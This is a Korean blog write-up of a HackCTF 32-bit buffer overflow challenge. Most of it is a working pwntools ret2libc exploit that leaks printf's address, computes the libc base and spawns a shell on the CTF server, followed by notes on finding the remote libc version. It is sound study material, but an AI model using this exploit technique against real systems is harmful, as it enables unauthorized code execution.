WAR GAME/HackCTF

[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (32bit, ROP)

jir4vvit 2021. 3. 5. 18:12

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

처음에 ROP로 풀까 생각하다가 libc 파일이 없기도하고(버전 찾기 귀찮) 마침 NX bit도 없어서 shellcode 박았다. 하지만 공부를 위해 ROP 기법을 이용하여 풀었다.

 

자세한(?) 분석은 아래 참고

[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode)

 

[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode)

문제 풀이 환경 : ubuntu 20.04 사용 툴 : IDA 7.5 pro 150점으로 넘어갔다. 갑자기 생각보다 어려워져서(?) 깜짝 놀랐다ㅋㅋㅋ;; 주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자. Analysis main 함수

jiravvit.tistory.com

 

Let's exploit (local)

from pwn import *

#p = process('./prob1')
p = remote('ctf.j0n9hyun.xyz', 3003)
e = ELF('./prob1')
libc = ELF('./libc_1.so')
#libc = e.libc

printf_plt = e.plt['printf']
printf_got = e.got['printf']
main = e.symbols['main']

payload = ''
payload += 'A'*0x18
payload += p32(printf_plt)
payload += p32(main)
payload += p32(printf_got)

p.sendlineafter(': ', 'AAAA')
pause()
p.sendlineafter(': ', payload)

#p.recv(len(payload))
printf_addr = u32(p.recv(4))
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()

libc_base = printf_addr - printf_offset

log.info('printf_addr : ' + hex(printf_addr))
log.info('libc_base : ' + hex(libc_base))

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

# exploit
payload = ''
payload += 'A'*0x18
payload += p32(system_addr)
payload += 'AAAA'
payload += p32(binsh_addr)

p.sendlineafter(': ', 'AAAA')
p.sendlineafter(': ', payload)

p.interactive()

로컬에서는 잘 되는데 리모트에서는 잘 안된다. 왜지 ㅇㅅㅇ

 

Let's exploit (remote)

libc 버전 찾기

 

난 굉장히 억울하다...

 

왜그럴까요 ㅇㅅㅇ.. 도와주십쇼

 

해결책을 찾았다!  저 libc database 사이트 말고 다른 사이트를 이용하자.

libc.nullbyte.cat/?q=gets%3A890%2Cprintf%3A020

 

libc database search

 

libc.nullbyte.cat

사진에서 두번째가 이 서버의 libc 파일이다.

 

정상적으로 flag 획득 흑흑